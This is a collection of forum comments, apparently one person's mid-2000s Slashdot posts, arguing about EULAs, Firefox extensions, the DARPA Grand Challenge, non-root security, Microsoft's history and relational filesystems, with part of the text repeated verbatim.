I'm still looking for "highlight" video myself... or pretty much any non-bland video (seeing them cross the finish line is nifty and all, but that was not a challenging part of the race). I particularly want video of Alice trying to take out some reporters!
No sane business operator enters a contract in which one party has the right to disregard its terms at will
Really? Then there must be a lot of insane business operators out there. Just about every one of them in fact.
Software EULAs are often completely one-sided, reserving all kinds of rights for the publisher, revoking most rights for the licensee (aka user), and often include provisions that allow them to be changed at nearly any time. Generally they don't change except in the case of a patch -- but if you need that patch to run the software as advertised, or to prevent a potential security breach, then it's not much of a choice.
Heck, have you ever read through the mice type of your credit card agreement? They can change any of the provisions, including fees and rates, at any time with minimal notice. And implict acceptance is presumed.
Sorry, but there's plenty of contracts that people and businesses enter into everyday that are completely one sided -- and there is no realistic alternative to them in many cases because it's an industry wide practice. I'd love to see a real business try to go without a bank account of any kind.
In this case, it's we, the people of these united states, who are getting tired of the presumed guilt and revokation of rights by the media conglomerates. HR1201 simply tries to push the bias back toward the center.
Oh, and you're going to claim that this will make media companies stop distributing? Really? Honestly? You're claiming that they'll simply close their doors? What complete bullshit. It's a completely toothless scare tactic.
Because, in part, that goes against the development concept of keeping Firefox an easy to use, fairly minimalist browser that can be altered via extension.
I suspect another part is that Flashblock has issues on some pages (greatly reduced in 1.5 betas; although it gained different quirks), and that blocking would be confusing to users or undesirable in other situations. All of which increases complexity, which goes back to the initial concept.
Thanks, but firefox's tabs still suck, why can't they just include that functionality?
Tabbrowser Extensions is known to have many, many problems. And, frankly, I don't think FF's tabs suck and I don't want the stuff that TBE does. In fact, the one tab-related extension I was running in 1.0.x was integrated into 1.5 (drag 'n' drop tabs). And to be perfectly honest, I would've been fine if it had stayed separate.
because nasty terrorist hands are burned by the righteous grips of the M-16
Yes, because I implied that. Note that I said that you wouldn't want to ship the guns as well.
And yes, you could use the ammo in jury rigged bombs... but there's not much in a casing, or even a clip. It's a horrendously inefficient way to make an explosive. There are household chemicals you can combine to have far more explosive power in far less space.
The stuff you don't want them getting are the bombs, artillary shells, tank shells, etc. -- those have extremely potent chemical explosives that aren't easily manufacturered, but can easily be "repurposed" (often without even bothering to crack the shell).
Yes, those terrorists are so damn stupid they don't realize the value of water, food, and medical supplies.
The medical supplies may very well be needed (especially US military grade ones), but they're generally not in dire need of food or water. Not enough to expend the kind of resources required to stop a convoy. As for cutting the supply lines -- yes, it's basic tactics. It's also utterly ineffective against a modern army in these circumstances. We can easily airlift supplies to the troops if necessary, and supply convoys are so numerous that they simply cannot cut off enough to significantly harm the forces -- not without exposing themselves drastically.
And if only we stopped filling our all our supply transports with people, and only had a couple drivers in each truck, they wouldn't attack any more, because they only care about causalties
Sure they'd attack, but it would be ineffective. And they'd be wasting resources on taking out unmanned vehicles which have very little value -- even monetarily, it'd be cheaper in the long run to use unmanned supply trucks than it would be to up armor and provide security for all of them. Not to mention the enlisted men that you free for other duties. Not to mention the reduced political and resource costs that would come from fewer people dieing.
Here's a quick hint: action movies and the crap shows on Fox and SpikeTV are not neccesarily accurate depictions of warfare.
if you've got an unmanned vehicle with supplies (read: easy target)
You're thinking wrong, simply because what's in these supply vehicles isn't an interesting target, at least not in our current theaters of operations. You probably wouldn't want to have them transport ammo (although, really, if you just transported bullets and clips w/o guns then they'd be useless -- the insurgents use AK-47s by and large, which use drastically different ammo from M16s), but transporting food, water, fuel, mail, medical supplies, etc. is still vital. And very little of that is desirous to an insurgent, who generally doesn't think in terms of cutting off a supply train.
Most importantly, you don't have anyone in the vehicle, so if a roadside bomb goes off you don't lose any people. There's also nobody to kidnap. And insurgents don't go ape over blowing up a car or two -- it's the casualties that they care about.
I'd imagine a vehicle like this would probably stop cold if surrounded (360 degrees of obstacles) by other vehicles, at which point the abductees could take what's inside, and leave
Well, it's not like the supply vehicle isn't going to have locks on it. And if it gets stuck in any way, shape, or form when it's not expecting to then it'll probably phone home. It'd be an awful shame to have a Blackhawk, Apache, F-16, or even a Predator see you looting one of these things. I doubt the military would take kindly to that. If you're lucky they'll simply kill you on the spot. If you're unlucky they'll tail you to your base and then kill you and your friends.
But, again, the concern for supply vehicles isn't someone stopping and taking them -- it's roadside bombs (which is the cause of something like 80-90% of all casualties in Iraq). And this essentially eliminates the usefulness of those devices.
Will this technology be used primarily for unmanned military weapons?
This phase is intentionally designed for developing unmanned transport vehicles for use in low/no traffic, rugged areas. Think resupply and medivac. That alone would vastly reduce support overhead and threat to support troops (who generally aren't wandering around in heavily armored vehicles like front line troops).
It's not designed for use as a weapons platform (there is no ability to determine threats or potential targets), nor for usage on other planets -- all of the vehicles make use of GPS to some degree (they can operate without, but are handicapped) and we don't exactly have constellations of sats flying around any other stellar bodies.
The military isn't particularly interested in completely autonomous weapon systems -- it's too damn dangerous to your own people. The last thing you need is an autonomous anti-tank or anti-infantry mis-identifying your own (or your allies) weapons/troops as targets and eliminating them. We have enough friendly fire problems with humans at the controls -- and robots are far, far behind humans when it comes to properly identifying things.
There's plenty of civilian uses too -- another reply already mentioned a good number of them.
t's not like VC-1 isn't in both formats, so what is to gain by not backing Blu-ray?
Well, for one thing, I suspect MS would prefer to not pay Sony royalties on every Xbox 360 sold. I have no doubt that that fits into the decision to (eventually) put HD DVD on Xbox360s.
Exactly which college did you go where anything remotely resembling a spreadsheet was created by 1st year students?
Georgia Tech. When I went there CS1411, the second programming course, had a quarter-long project associated with it. It varied from quarter to quarter, but it was generally either a BASIC interpreter, a simple compiler, or a spreadsheet. Implemented in Pascal. Real Pascal -- not Borland's Turbo Pascal. The quarter I took it we did a compiler, and if I'd actually listened to the teacher and started thinking about it more than 2 weeks before it was due then I would've done a lot better on it.
Of course, that curriculum was being replaced when I was there -- the intro programming courses are now in C or Java and they don't do anything nearly that complex. They've probably changed them again, since that was a decade ago.
Now to be fair -- was the output of that project anything you could realistically build upon? Probably not. Mine certainly wasn't. But it did give you a better idea of programming problems that can't be solved in just a couple of hours.
By not requiring learning systems, DARPA is not encouraging progress in AI
Since visual perception and interpretation is often considered an AI related field of research, I'd say you're wrong.
But, more importantly, you still don't get it. The GC's goal isn't to encourage progress in AI -- it's to develop an autonomous supply vehicle. Do you have any idea how much of the military is involved purely in transport/resupply?
The US defence department would sell its soul for a truly intelligent system and that's what we should be after.
Funny. That contradicts a rather large number of public statements from the DoD. And privately I suspect the more sane individuals don't want it either -- we've seen more than enough SF flicks that go into the potential issues with such a thing.
include big-city driving in the challenge
Yes, and we should make all toddlers learn to run before walking or crawling.
It's called incremental progress -- right now the DoD could benefit immensely from a fully autonomous transport vehicle that simply goes between depots in low traffic but highly rugged environments. After that you could look at highway driving (which is already being worked on by all the major automobile companies) and then maybe high-traffic conditions. But that last one is of relatively little use to the DoD, and DARPA is only mandated for Defense related projects.
As it stands, all we're gonna get is clever engineering which we already know we're good at, but not good enough.
When it comes down to it, it's all just "clever engineering" -- especially in retrospect. Most progress is made in small steps, not giant leaps.
Any data kept in your home directories SHOULD be backed up by the sysadmin.
Yes, because we all know that everyone backs up their data on their home systems. Nightly.
Of course it's stupid, but I know very few people who do that -- and most of them merely rsync to another box, which may get infected as well.
The really important data is usually kept inside databases that the user does not have rights to delete.
Not on individual systems. Very little is kept in databases. For a lot of people, the loss of their photos, music, etc. all the way down to bookmarks, email, and contact lists would be pretty much the same as the HD crashing. I think you'll agree that the hardware is cheap -- the data is expensive.
As for recovery/removal -- most viruses/trojans are not destructive anymore, but instead try to infect to gain permissions (for spamming, DDoS, etc.) and you may wind up with an infected user space that goes back for months before you notice.
And backups don't address the issue of a user-space virus that proceeds to identify security holes and download rootkits to exploit them. Now you've got both a user and system level vulnerability.
Security is all about IDENTIFYING the risks and REDUCING them.
I agree. My point is that while not running as root may reduce some risks, it certainly doesn't eliminate them. The post I replied to (I quoted it in its entirety) certainly implied as much -- and it's an attitude that I see here repeatedly.
It has been, you can get it from flashblock.mozdev.org -- as with a lot of 1.5B1 compatible extensions, it's not on the main extension site yet.
Convieniently, that also has the info on the 1.0.x problems, including the Bugzilla reference (which, I agree, is pretty much impossible to find otherwise).
Specifically, there are certain ads that cause Firefox to crash hard
Are you running Flashblock? Make sure you have the latest revision if so -- there are some known problems w/ Firefox 1.0.x, Flashblock, and some Flash ads. The Flashblock devs have tried to work around them, but it's a problem in Firefox itself. I never experienced them on Blue's (yes, I'm the same guy from there), but I experienced them fairly often on Tech Report until I went to 1.5B1.
And yes, 1.5B1 fixes the issue. It's been fixed in trunk for awhile.
I've experienced another insta-crash (not even a "this program has done something bad!" from Windows) on rare sites w/ 1.0.x, but I've never been able to figure out what it was due to or cause it to occur repeatably.
What does malicious script do? Anything it wants -- including downloading and running root kits (after figuring out exactly which ones you are vulnerable to), sending out massive spam attacks, installing a user-level trojan that allows for remote controlled DDoS, etc.
I'm really tired of people claiming that not running as root is a miracle cure. Yes, it prevents some really nasty trivial attacks, but it doesn't protect your most valuable data (e.g. -- yours) and it doesn't prevent a lot of attacks that are perfectly happy to run in non-privledged space.
I'm assuming this can only occur if you installed the virus infected material as root?
Last I checked all the major repository systems (rpm, apt, etc) require you to do so. Yup.
if you install software as root from a compromised source and don't check the md5sums
Checking the md5sums will do you absolutely no good unless you get the md5sum from a completely independant source -- which isn't true in most cases. In this case there was no independant source -- the Korean site compiles it and distributes it themselves and is not affiliated with the Mozilla foundation.
along with other precautions you put yourself at risk
My, that's nebulous. What precautions?
You could compile from source... and then you're safe as long as someone didn't trojan the CVS server (either intentionally or maliciously). Or are you going to evaluate every line of code prior to compiling it as well? Make sure to double check your compiler and libraries -- if they have a trojan injector then you'll have one hell of a time figuring that out.
No, it's not anything new. But it should be a wakeup call to a lot of people who think they're "safe" for running non-mainstream software. We're not -- we're just a smaller target. It's just a twist on "security through obscurity", and that's been proven to be inadequate countless times.
If Microsoft hadn't crushed DR-DOS, perhaps Digital Research would have come out with something better than Windows
And perhaps they wouldn't have. Given that Digital Research wasn't exactly going anywhere with graphical UIs, I rather doubt it.
DR-DOS was vastly superior to MS-DOS, no question. But it came out toward the end of DOS's lifespan.
If Microsoft hadn't crushed Netscape, perhaps Netscape's vision of network applications in the vein of XUL would have come along years earlier
Or, more likely, we'd still be stuck with the craptacular Netscape 4.x and 6.x releases that were so godawful bad that Internet Explorer was an massive improvement. And before you forget, the Netscape source code was quite closed source for some time after Netscape had ceased being a factor in the market. It wasn't until it was open sourced (due to nearly no value in the existing code base) and completely scrapped and rewritten by the Mozilla Foundation that it became better. And even then it was several years until Mozilla (or derivatives) was truely in a position to challenge IE. Yeah, I've been using Mozilla for years (and Firefox more recently since the Seamonkey suite has behaviors I despise), but up until about a year or so ago the compatability wasn't high enough to recommend it to non-geeks.
BTW, your other statement about browser dominance is deeply, deeply wrong. Prior to IE4 Netscape had a >90% market share. I very much remember despairing at the lack of Netscape on OS/2 because it meant we didn't have a browser worth a shit -- you'd have to run Netscape in a Win16 session. IBM's own browser was nifty, but late to the game.
If Microsoft hadn't included illegally copied software in DOS from Stac Electronics, perhaps Apple
Wow, you really had to stretch there didn't you. While what MS did was extremely wrong, the only company it really impacted was Stac (and it nearly destroyed them). Apple was in no position to improve its market share. IBM may have been, but OS/2 had its own raft of problems (and I ran OS/2 2.x as my sole OS for 3 years). And, again, the drive compression bit occurred just as it was becoming a non-issue. Hard drive prices started falling shortly thereafter and nowadays software based on-the-fly compression of volumes is hardly considered a significant feature.
If Microsoft hadn't conned their way into a cheap deal for Mosaic
Ah, they conned how? Kindly be explict in how they somehow got such a different deal than any other licensee.
perhaps web developers would be able to use CSS, PNG, HTML, HTTP, etc without being held back by Internet Explorer's flaws
No, they'd merely be held back by a close-sourced Netscape run by AOL instead. My, that would be so much better wouldn't it?
It's pretty hard to innovate when the biggest software company in the world is willing to break the law and use all of its resources to crush competition.
And yet it happens anyway. I despise MS's business practices as well, you've put forth an incredibly weak case for saying that it would be "further along". We would either end up with a single OS dominating the landscape again -- decent odds on OS/2 -- or we'd have a massively fragmented landscape split over incompatible processors and operating systems. We already know what happens in either case -- people get annoyed at the monopoly despite (or because of) its success, and the highly varied systems end up stagnating due to a lack of focus, difficulty of development, and reduced development resources (c.f. - x86 vs everyone else and Unix variants for the last 30 years).
I have no problems believing that if another company, run by people who weren't quite so willing to break the law, had been in the same position as Microsoft, the computer industry would be much further along.
Yes, because IBM would've been such a kinder, gentler overlord. That is who would be in control if it wasn't for MS. And MS learned deceptive business practices from the master of the game.
It mentions a compressor, but if I had the energy to operate a compressor, why wouldn't I have the energy to to run a freezer?
Because, presumably, the compressor isn't located anywhere near where you're trying to do this at. And there's no grid to move the power from point A to point B.
Consider the pressurized air cannisters as a form of battery. A hideously inefficient, highly limited form (although pressurized air may be superior to electric power in some ways, this isn't one of them).
Of course, I question that it's smarter to move around pressurized cannisters than batteries or some other form of energy transport, but I'm not in the target area either. And certainly there are some environmental advantages of compressed air over batteries of any (reasonable) type.
We're seeing the death of competition in the database market.
The commercial relational database market has been pretty dead for years now. It's essentially gone down to three players -- Oracle, Microsoft, and IBM. And IBM is almost an also-ran -- unless you're on big iron (like, oh say, an IBM mainframe or AS400) then you're probably not all that interested in DB2.
So you're basically down to Oracle and Microsoft.
If you don't want to be tied down to an Intel platform then you're down to one choice.
And before people start yapping, yes, there is MySQL and PostgreSQL. They're both good for small to medium sized projects. But if you're talking terabytes or petabytes of data -- you're going to want one of the big guys, which offer things that those don't yet.
I just wish the included Oracle tools weren't so utterly shitty. If Oracle really wanted to help its users they'd buy out Quest and include Toad and/or TORa with every freaking install.
Why does this have to be compared to a Microsoft response?
Largely because a lot of people are saying "nyah, nyah, nyah! Firefox isn't secure after all!".
Which is due a "no shit Sherlock" response. Yes, Firefox has had security vulnerabilities before, and it has one now. Only the really clueless people ever claimed that Firefox was completely secure.
Anyway, the point being is that some of these people are claiming that there's no reason to move to Firefox, that IE is just as good (or better), etc. And that is simply false and where most of these type replies are originating from.
I am purely interested in the Mozilla response
On the contrary, I am interested in the Mozilla Dev team response as it compares to the MS response. If the Mozilla team response is to bury the bug, or refuse to acknowledge it, or not patch it for weeks or months then they are no better than MS's track record. In such a case you can make a demonstrable case that switching to Firefox/Mozilla is not worth it.
To date, however, this has not been true. The Mozilla team has repeatedly resolved security threats in far less time than Microsoft has. They have not denied the existence of a threat, or attempted to hide its existence or disclaim it as Microsoft has. And this is highly relevant to both home and business users.
Firefox does not exist in a vacuum. The fact of the matter is on the vast majority of PCs you have to explicitly decide to download and install Firefox. So comparisons to the dominant browser are fair.
The DeathStar line was truly a lemon, far ahead of any "oops" from other manufacturers.
Ah... how quickly we forget.
One of the first lemon drives out there was the ST-251 drives. Nearly every single drive wound up dieing due to stiction problems. Their failure rate makes the mere 30-40% Deathstar failure rate look tame in comparison.
Western Digital, Maxtor, and Quantum have all had various drive lines that have had significant failures, although none as consistently as either the ST-251s or the Deathstars. Still, a 20% failure rate is nothing to joke about.
About the only drive maker that I haven't heard of significant failures from so far is Samsung. They've only been in the broad consumer market for a few years now, so it's not exactly fair to compare them against these others that have been around 20-30 years. Give them enough time and they'll screw up eventually.
I've emailed the TechReport guys about this and here's the reply I received:
Thanks for the note. This is a known problem with Firefox and the FlashBlock extension. We are aware of the issue, but I'm afraid there's very little we can do to fix a problem with a client browser. If I could adjust our HTML to make things work, I would, but that doesn't appear to be possible.
I recommend uninstalling Firefox and doing a clean install without Flashblock. From that I hear, that should fix the problem.
Best of luck, Scott
I believe the bug is fixed in Deer Park, as well as in Mozilla trunk.
Sadly, because of this, I often avoid the site because I don't want to take the random chance that it will crash all my FF windows/tabs. One of my favorite tech sites too.
I always thought if you paid for something, you had a right to look into what you were getting
You do. You didn't.
I thought it reasonable to check if useful features missing from previous models, and that wouldn't cost anything to add, might show up in a later model.
You still haven't pointed out any. No iPod has ever had a USB connector. The first generation may have had a Firewire connector, but the 2nd-4th gens did not -- they all had the dock connector on the bottom. Up to 4G they shipped w/ a dock-firewire connector, starting with 4G they changed to a dock-usb connector. So you can use any iPod that has a dock connector (all but 1G iPods and iPod Shuffles) with USB or Firewire as long as you have the appropriate connector.
And you claim that you couldn't find the weight of the dock, but you didn't even bother searching. Google for "ipod dock weight" provides several links (hint -- it's right about 0.6 lbs).
Your whine about file transfer just shows that you didn't even bother doing the slightest bit of research on it. And you're surprised that you got flamed?
And no, there's no Ogg support. There probably will never be any. There's absolutely no incentive for Apple to bother with it.
He goes on to describe why Windows is more expensive through purchase cost in your computer and in additional software.
Which is funny, since there are free (as in beer) alternatives to all of those. Anti-virus? AVG, Avast, AntiVir, or several others. Spyware? MS Spyware Removal Tool, SpyBot Search & Destroy, and LavaSoft AdAware are all free and are the best of breed as well. Firewall? Multiple options there too, although frankly the one that comes with SP2 is sufficient for nearly everyone.
The bit about the computer price being higher is also BS. I have a LinuxCertified laptop, but it certainly wasn't any cheaper than the alternatives. In fact, you can get a laptop w/ Windows XP bundled and re-image it with Linux for a lot cheaper than you can get anything from LinuxCertified. The LC guys do provide pretty good support -- if you happen to run one of the versions of Linux that they support (which are generally well behind what's current).
He fails to mention that Microsoft charges for support after two calls:
And, uh, how many free calls do you get for Fedora, SuSE, Ubuntu, Debian, Gentoo, or any other distribution?
And don't go off and say "the community supports it!" because there's plenty of community support sites for Windows as well. They may not offer patches, but they'll refer you to the website that does if one exists. And in the one case that I actually needed a patch from MS that wasn't publicly available I was able to get it -- without paying for support even though I was supposed to.
Yes, I run Linux at home. On my server. It works nicely. My new laptop runs Windows and works far, far better than the LinuxCertified one it replaced. Virtually identical hardware (the LC one had multiple hardware failures) -- but different OS. It's nice to have an OS that is capable of "esoteric" things like ACPI. And can actually run stuff like WillMaker, tax software, etc. And I don't have to fiddle endlessly to get the wireless NIC working (yes, I got a supported one. Yes, it's still a PITA).
Yes, 90% of what I need to run on the laptop could run under Linux. But 100% of it can be done in Windows... and with less headaches.
That is really un-database like though, and very unfriendly to the user. If I null out a bunch of fields for a row I imagine I would almost never want a case where that would delete the row.
You haven't worked with many databases then.
The one we use does exactly that -- set the value to NA (similar to NULL, but not at all the same, since an NA value implies a default which is not necessarily 0 or "no value") and the row is removed from the database. Some relational models do the same thing, or force you to do it -- go ahead, try and set a primary key column to NULL. Your only choice is to delete the row entirely or do something silly like set it to a sentinel value (presuming your key is across multiple columns).
You can't have it both ways - does a set of data get removed when all user-defined meta-data gets removed or not?
You can have it both ways -- the metadata he referred to is not user-defined! It's system defined and you could certainly differentiate between the two. I'm not sure if this would be a good idea or not; I haven't done research into what ReiserFS and WinFS do in these situations.
If not then how is a user really going to know when it's safe to "totally destroy" a file? Perhaps it was germae to some other keyword they had forgotten.
Uh... you're not from a database background are you? The relevant concept here is foreign key. There's a price to be paid for using them, but they certainly prevent the problem you're describing.
If I copy a whole directory onto a CD I know that every file I put there is on that CD. If I ask to backup all files for Project Fred I cannot *know* by keyword alone that all the files are really there except through blind faith that I have properly tagged all files for that project.
I fail to see the difference between making sure that you put all the right files in the directory and making sure that you tagged all the files correctly. They are analogous operations. Just because you're more familiar with A than B does not mean that B is less capable -- just that you're not familiar with it.
Your entire line of questions regarding backup falls into this category. Backing up a RDBMS is hardly a new thing.
The difference is saying a files default location is really id "4784874GA" vs. "~/Pictures". Think I'll take the latter thanks!
And clearly databases are doomed to failure for the exact same reasons. Ever taken a look at the raw data in an Oracle data file? Or MySQL? Or any other relational database? How about some non-relational ones? Make any sense to you? No? Well then obviously it's useless.
For that matter, when's the last time you read any file system other than FAT in raw mode? Traced through the core structures of Ext2 or NTFS lately? Not so human readable.
We routinely put overlays on top of data in order to make it more useful to humans. And a relational file system is just another way of doing it.
And furthermore as I said, you can get all of the benefits you were looking for with the way filesystems are being enhanced.
Shrug. You go debate Hans Reiser then. Clearly he's clueless about why a relational file system is superior to a hierarchical one. There are some areas where a hierarchical FS + extensions will lag behind a relational one. The inverse is also true. The question becomes -- which areas are more important?
I don't know the answer to that, and neither do you. But your complaints about metadata and organization are about as valid as people complaining that they can't use buggy whips to make their new fangled automobiles go faster.
Try to name a product in the last 15 years that you can't change it yourself
Cordless shaver. Electric toothbrush. Some small vacuums.
I had to replace my shaver (Norelco) because it eventually stopped working at all after two years -- even with the cord plugged in it simply wouldn't run (it would if the blade wasn't attached, so power flowed, but not enough of it). My cordless toothbrush (Sonicare), after about 3 years, is experiencing drastically reduced cycle times -- I can brush 2, maybe 3 times now before it dies mid-brushing. Previously I could go a week or two without recharging. I've trashed one cordless vacuum cleaner for the same reason.
Of all of those the only one I've been peeved at is the shaver -- the battery did not last nearly as long as expected (it ceased being useful w/o the cord after about 15 months). The others... well, I understand battery chemistry enough to get what's going on. Sucks, but that's how it is.
Apple apparantly mis-represented the life expectancy of the first few generations of iPod batteries, and then charged an arm an a leg to replace them. That's why they got sued.
Slashdot Mirror
For far better info than the anemic (and completely flash based) gc.org site:
m l -- DARPA's GC message boardse nge2005/ -- Was updated throughout the actual event. Best coverage I've seen yet.
http://www.darpa.mil/grandchallenge/discussion.ht
http://www.tgdaily.com/2005/10/08/darpagrandchall
http://www.popsci.com/popsci/darpachallenge/ -- Popular Science's rather disorganized site
I'm still looking for "highlight" video myself... or pretty much any non-bland video (seeing them cross the finish line is nifty and all, but that was not a challenging part of the race). I particularly want video of Alice trying to take out some reporters!
No sane business operator enters a contract in which one party has the right to disregard its terms at will
Really? Then there must be a lot of insane business operators out there. Just about every one of them in fact.
Software EULAs are often completely one-sided, reserving all kinds of rights for the publisher, revoking most rights for the licensee (aka user), and often include provisions that allow them to be changed at nearly any time. Generally they don't change except in the case of a patch -- but if you need that patch to run the software as advertised, or to prevent a potential security breach, then it's not much of a choice.
Heck, have you ever read through the mice type of your credit card agreement? They can change any of the provisions, including fees and rates, at any time with minimal notice. And implict acceptance is presumed.
Sorry, but there's plenty of contracts that people and businesses enter into everyday that are completely one sided -- and there is no realistic alternative to them in many cases because it's an industry wide practice. I'd love to see a real business try to go without a bank account of any kind.
In this case, it's we, the people of these united states, who are getting tired of the presumed guilt and revokation of rights by the media conglomerates. HR1201 simply tries to push the bias back toward the center.
Oh, and you're going to claim that this will make media companies stop distributing? Really? Honestly? You're claiming that they'll simply close their doors? What complete bullshit. It's a completely toothless scare tactic.
So why doesn't the browser do that anyway?
Because, in part, that goes against the development concept of keeping Firefox an easy to use, fairly minimalist browser that can be altered via extension.
I suspect another part is that Flashblock has issues on some pages (greatly reduced in 1.5 betas; although it gained different quirks), and that blocking would be confusing to users or undesirable in other situations. All of which increases complexity, which goes back to the initial concept.
Thanks, but firefox's tabs still suck, why can't they just include that functionality?
Tabbrowser Extensions is known to have many, many problems. And, frankly, I don't think FF's tabs suck and I don't want the stuff that TBE does. In fact, the one tab-related extension I was running in 1.0.x was integrated into 1.5 (drag 'n' drop tabs). And to be perfectly honest, I would've been fine if it had stayed separate.
because nasty terrorist hands are burned by the righteous grips of the M-16
Yes, because I implied that. Note that I said that you wouldn't want to ship the guns as well.
And yes, you could use the ammo in jury rigged bombs... but there's not much in a casing, or even a clip. It's a horrendously inefficient way to make an explosive. There are household chemicals you can combine to have far more explosive power in far less space.
The stuff you don't want them getting are the bombs, artillary shells, tank shells, etc. -- those have extremely potent chemical explosives that aren't easily manufacturered, but can easily be "repurposed" (often without even bothering to crack the shell).
Yes, those terrorists are so damn stupid they don't realize the value of water, food, and medical supplies.
The medical supplies may very well be needed (especially US military grade ones), but they're generally not in dire need of food or water. Not enough to expend the kind of resources required to stop a convoy. As for cutting the supply lines -- yes, it's basic tactics. It's also utterly ineffective against a modern army in these circumstances. We can easily airlift supplies to the troops if necessary, and supply convoys are so numerous that they simply cannot cut off enough to significantly harm the forces -- not without exposing themselves drastically.
And if only we stopped filling our all our supply transports with people, and only had a couple drivers in each truck, they wouldn't attack any more, because they only care about causalties
Sure they'd attack, but it would be ineffective. And they'd be wasting resources on taking out unmanned vehicles which have very little value -- even monetarily, it'd be cheaper in the long run to use unmanned supply trucks than it would be to up armor and provide security for all of them. Not to mention the enlisted men that you free for other duties. Not to mention the reduced political and resource costs that would come from fewer people dieing.
Here's a quick hint: action movies and the crap shows on Fox and SpikeTV are not neccesarily accurate depictions of warfare.
That's nice. I don't watch either channel.
if you've got an unmanned vehicle with supplies (read: easy target)
You're thinking wrong, simply because what's in these supply vehicles isn't an interesting target, at least not in our current theaters of operations. You probably wouldn't want to have them transport ammo (although, really, if you just transported bullets and clips w/o guns then they'd be useless -- the insurgents use AK-47s by and large, which use drastically different ammo from M16s), but transporting food, water, fuel, mail, medical supplies, etc. is still vital. And very little of that is desirous to an insurgent, who generally doesn't think in terms of cutting off a supply train.
Most importantly, you don't have anyone in the vehicle, so if a roadside bomb goes off you don't lose any people. There's also nobody to kidnap. And insurgents don't go ape over blowing up a car or two -- it's the casualties that they care about.
I'd imagine a vehicle like this would probably stop cold if surrounded (360 degrees of obstacles) by other vehicles, at which point the abductees could take what's inside, and leave
Well, it's not like the supply vehicle isn't going to have locks on it. And if it gets stuck in any way, shape, or form when it's not expecting to then it'll probably phone home. It'd be an awful shame to have a Blackhawk, Apache, F-16, or even a Predator see you looting one of these things. I doubt the military would take kindly to that. If you're lucky they'll simply kill you on the spot. If you're unlucky they'll tail you to your base and then kill you and your friends.
But, again, the concern for supply vehicles isn't someone stopping and taking them -- it's roadside bombs (which is the cause of something like 80-90% of all casualties in Iraq). And this essentially eliminates the usefulness of those devices.
Will this technology be used primarily for unmanned military weapons?
This phase is intentionally designed for developing unmanned transport vehicles for use in low/no traffic, rugged areas. Think resupply and medivac. That alone would vastly reduce support overhead and threat to support troops (who generally aren't wandering around in heavily armored vehicles like front line troops).
It's not designed for use as a weapons platform (there is no ability to determine threats or potential targets), nor for usage on other planets -- all of the vehicles make use of GPS to some degree (they can operate without, but are handicapped) and we don't exactly have constellations of sats flying around any other stellar bodies.
The military isn't particularly interested in completely autonomous weapon systems -- it's too damn dangerous to your own people. The last thing you need is an autonomous anti-tank or anti-infantry mis-identifying your own (or your allies) weapons/troops as targets and eliminating them. We have enough friendly fire problems with humans at the controls -- and robots are far, far behind humans when it comes to properly identifying things.
There's plenty of civilian uses too -- another reply already mentioned a good number of them.
Back then, all the programmers were supposed to have supernatural abilities and could, like, fit an entire operating system in 640K! What is this??!!!
LISP.
And that may shed some light why your box dies everytime you run emacs.
t's not like VC-1 isn't in both formats, so what is to gain by not backing Blu-ray?
Well, for one thing, I suspect MS would prefer to not pay Sony royalties on every Xbox 360 sold. I have no doubt that that fits into the decision to (eventually) put HD DVD on Xbox360s.
Exactly which college did you go where anything remotely resembling a spreadsheet was created by 1st year students?
Georgia Tech. When I went there CS1411, the second programming course, had a quarter-long project associated with it. It varied from quarter to quarter, but it was generally either a BASIC interpreter, a simple compiler, or a spreadsheet. Implemented in Pascal. Real Pascal -- not Borland's Turbo Pascal. The quarter I took it we did a compiler, and if I'd actually listened to the teacher and started thinking about it more than 2 weeks before it was due then I would've done a lot better on it.
Of course, that curriculum was being replaced when I was there -- the intro programming courses are now in C or Java and they don't do anything nearly that complex. They've probably changed them again, since that was a decade ago.
Now to be fair -- was the output of that project anything you could realistically build upon? Probably not. Mine certainly wasn't. But it did give you a better idea of programming problems that can't be solved in just a couple of hours.
By not requiring learning systems, DARPA is not encouraging progress in AI
Since visual perception and interpretation is often considered an AI related field of research, I'd say you're wrong.
But, more importantly, you still don't get it. The GC's goal isn't to encourage progress in AI -- it's to develop an autonomous supply vehicle. Do you have any idea how much of the military is involved purely in transport/resupply?
The US defence department would sell its soul for a truly intelligent system and that's what we should be after.
Funny. That contradicts a rather large number of public statements from the DoD. And privately I suspect the more sane individuals don't want it either -- we've seen more than enough SF flicks that go into the potential issues with such a thing.
include big-city driving in the challenge
Yes, and we should make all toddlers learn to run before walking or crawling.
It's called incremental progress -- right now the DoD could benefit immensely from a fully autonomous transport vehicle that simply goes between depots in low traffic but highly rugged environments. After that you could look at highway driving (which is already being worked on by all the major automobile companies) and then maybe high-traffic conditions. But that last one is of relatively little use to the DoD, and DARPA is only mandated for Defense related projects.
As it stands, all we're gonna get is clever engineering which we already know we're good at, but not good enough.
When it comes down to it, it's all just "clever engineering" -- especially in retrospect. Most progress is made in small steps, not giant leaps.
Any data kept in your home directories SHOULD be backed up by the sysadmin.
Yes, because we all know that everyone backs up their data on their home systems. Nightly.
Of course it's stupid, but I know very few people who do that -- and most of them merely rsync to another box, which may get infected as well.
The really important data is usually kept inside databases that the user does not have rights to delete.
Not on individual systems. Very little is kept in databases. For a lot of people, the loss of their photos, music, etc. all the way down to bookmarks, email, and contact lists would be pretty much the same as the HD crashing. I think you'll agree that the hardware is cheap -- the data is expensive.
As for recovery/removal -- most viruses/trojans are not destructive anymore, but instead try to infect to gain permissions (for spamming, DDoS, etc.) and you may wind up with an infected user space that goes back for months before you notice.
And backups don't address the issue of a user-space virus that proceeds to identify security holes and download rootkits to exploit them. Now you've got both a user and system level vulnerability.
Security is all about IDENTIFYING the risks and REDUCING them.
I agree. My point is that while not running as root may reduce some risks, it certainly doesn't eliminate them. The post I replied to (I quoted it in its entirety) certainly implied as much -- and it's an attitude that I see here repeatedly.
not sure if it's been ported to the 1.5 builds
It has been, you can get it from flashblock.mozdev.org -- as with a lot of 1.5B1 compatible extensions, it's not on the main extension site yet.
Convieniently, that also has the info on the 1.0.x problems, including the Bugzilla reference (which, I agree, is pretty much impossible to find otherwise).
And I agree with you on Flashblock and ads.
Specifically, there are certain ads that cause Firefox to crash hard
Are you running Flashblock? Make sure you have the latest revision if so -- there are some known problems w/ Firefox 1.0.x, Flashblock, and some Flash ads. The Flashblock devs have tried to work around them, but it's a problem in Firefox itself. I never experienced them on Blue's (yes, I'm the same guy from there), but I experienced them fairly often on Tech Report until I went to 1.5B1.
And yes, 1.5B1 fixes the issue. It's been fixed in trunk for awhile.
I've experienced another insta-crash (not even a "this program has done something bad!" from Windows) on rare sites w/ 1.0.x, but I've never been able to figure out what it was due to or cause it to occur repeatably.
